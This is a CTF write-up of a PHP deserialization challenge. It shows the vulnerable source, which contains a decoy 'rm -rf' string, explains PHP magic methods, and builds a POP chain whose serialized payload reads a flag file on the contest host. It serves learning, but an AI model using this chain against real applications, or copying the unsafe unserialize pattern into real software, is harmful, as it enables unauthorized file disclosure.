【PolarCTF】苦海

复制代码
删库跑路,蹲监狱~ <?php
/*
PolarD&N CTF
*/
error_reporting(1);

class User
{
    public $name = 'PolarNight';
    public $flag = 'syst3m("rm -rf ./*");';

    public function __construct()
    {
        echo "删库跑路,蹲监狱~";
    }

    public function printName()
    {
        echo $this->name;
        return 'ok';
    }

    public function __wakeup()
    {
        echo "hi, Welcome to Polar D&N ~ ";
        $this->printName();
    }

    public function __get($cc)
    {
        echo "give you flag : " . $this->flag;
    }
}

class Surrender
{
    private $phone = 110;
    public $promise = '遵纪守法,好公民~';

    public function __construct()
    {
        $this->promise = '苦海无涯,回头是岸!';
        return $this->promise;
    }

    public function __toString()
    {
        return $this->file['filename']->content['title'];
    }
}

class FileRobot
{
    public $filename = 'flag.php';
    public $path;

    public function __get($name)
    {
        $function = $this->path;
        return $function();
    }

    public function Get_file($file)
    {
        $hint = base64_encode(file_get_contents($file));
        echo $hint;
    }

    public function __invoke()
    {
        $content = $this->Get_file($this->filename);
        echo $content;
    }
}

if (isset($_GET['user'])) {
    unserialize($_GET['user']);
} else {
    $hi = new  User();
    highlight_file(__FILE__);
}

基础知识

__invoke魔术方法

当对象当作函数直接调用时执行。

触发方式:把对象像函数一样加括号 () 调用

例子如下:

复制代码
<?php

class CallableTest
{
    public function __invoke($a, $b)
    {
        return $a + $b;
    }
}

$obj = new CallableTest();

// 触发魔术方法
echo $obj(2,3); //输出 5

__get魔术方法

在读取一个对象不存在 / 不可访问的属性时自动触发。

例子

复制代码
class Test
{
    // $name 是要读取的属性名
    public function __get(string $name)
    {
        echo "读取不存在属性:" . $name;
        return "默认值";
    }
}

$obj = new Test();

// 访问类中没有定义的属性,触发 __get
echo $obj->aaa; 
//输出:读取不存在属性:aaa,然后输出返回值 默认值

__toString魔术方法

把对象当作一个字符串来使用的时候,PHP 会自动调用 __toString()

复制代码
<?php
class Test {
    public function __toString()
    {
        // 注意:__toString 必须 return 一个字符串,不能echo!
        return "我是对象转字符串的结果";
    }
}

$obj = new Test();

# 下述操作都会对__toString进行触发

echo $obj;   //触发 __toString
print $obj;  //触发 __toString
$str = "abc" . $obj; //拼接,对象被当成字符串,触发__toString
$str = (string)$obj; //强制转字符串,触发
printf("%s", $obj); //触发 __toString
$b = strlen($obj); //内部会转字符串,触发__toString

解题

整理下思路

复制代码
unserialize()
  │
  └─▶ User::__wakeup()
        │
        └─▶ User::printName()
              │
              └─▶ 访问 $name (Surrender对象)
                    │
                    └─▶ Surrender::__toString()
                          │
                          └─▶ 访问 $file['filename']->content (触发__get)
                                │
                                └─▶ FileRobot::__get()
                                      │
                                      └─▶ 调用 $path() (触发__invoke)
                                            │
                                            └─▶ FileRobot::__invoke()
                                                  │
                                                  └─▶ FileRobot::Get_file('flag.php')

payload如下:

复制代码
<?php

class User{
    public $name;
}

class Surrender{
    # 这里我有踩坑,把phone、promise这些无关的属性写下来,觉得无所谓就写了下来
    # 后面由于private属性的影响导致我构造payload打不通,以后无关的属性就不要写了
    public $file;
    
}

class FileRobot{
    # 目标文件在../flag.php,不是flag.php
    public $filename = '../flag.php';
    public $path;

}

$user = new User();
$surrender = new Surrender();
$filerobot = new FileRobot();

$user->name = $surrender;
# 这里注意是赋值的数组
$surrender->file = ['filename'=>$filerobot];
$filerobot->path = $filerobot;


echo urlencode(serialize($user));

?>


http://9d715efa-398f-4f5c-8c58-a6a97dc19ecb.www.polarctf.com:8090/?user=O%3A4%3A%22User%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A9%3A%22Surrender%22%3A1%3A%7Bs%3A4%3A%22file%22%3Ba%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A9%3A%22FileRobot%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A11%3A%22..%2Fflag.php%22%3Bs%3A4%3A%22path%22%3Br%3A4%3B%7D%7D%7D%7D
相关推荐
杭州领祺科技6 小时前
27 号令横向隔离落地清单:储能边缘计算网关 ≠ 电力专用网闸,算电协同中心安全分区/纵向加密/SPDnet 怎么配
人工智能·安全·网络安全·边缘计算·储能·电力·电力监控
菩提小狗9 小时前
每日安全情报报告 · 2026-10-04
网络安全·漏洞·cve·安全情报·每日安全
迪康coolmu10 小时前
屏幕水印与防拍照落地:从水印类型到泄密溯源的完整配置
运维·网络·安全·网络安全·数据安全
Seraphina3610 小时前
DVWA(SQL Injection-High,XSS Reflected-Medium,XSS Stored-Medium)
数据库·经验分享·sql·网络安全·xss
在猴站学算法1 天前
(SQL注入学习)无回显的报错注入(Error-Based)
学习·网络安全·sql注入·ctf竞赛
sogw-三叶草️1 天前
House of Orange
网络安全·pwn·堆·二进制安全
Seraphina361 天前
DVWA(SQL注入-low,medium,XSS反射-low)
前端·数据库·笔记·sql·网络安全·web·xss
菩提小狗1 天前
每日安全情报报告 · 2026-10-03
网络安全·漏洞·cve·安全情报·每日安全
愤怒火龙果1 天前
AI攻防 外部资源加载利用
人工智能·网络安全
Eason_LYC2 天前
一个公开密钥放倒一片:Apache Shiro RememberMe 反序列化漏洞
java·网络安全·渗透测试·shiro·漏洞复现·反序列化·ai安全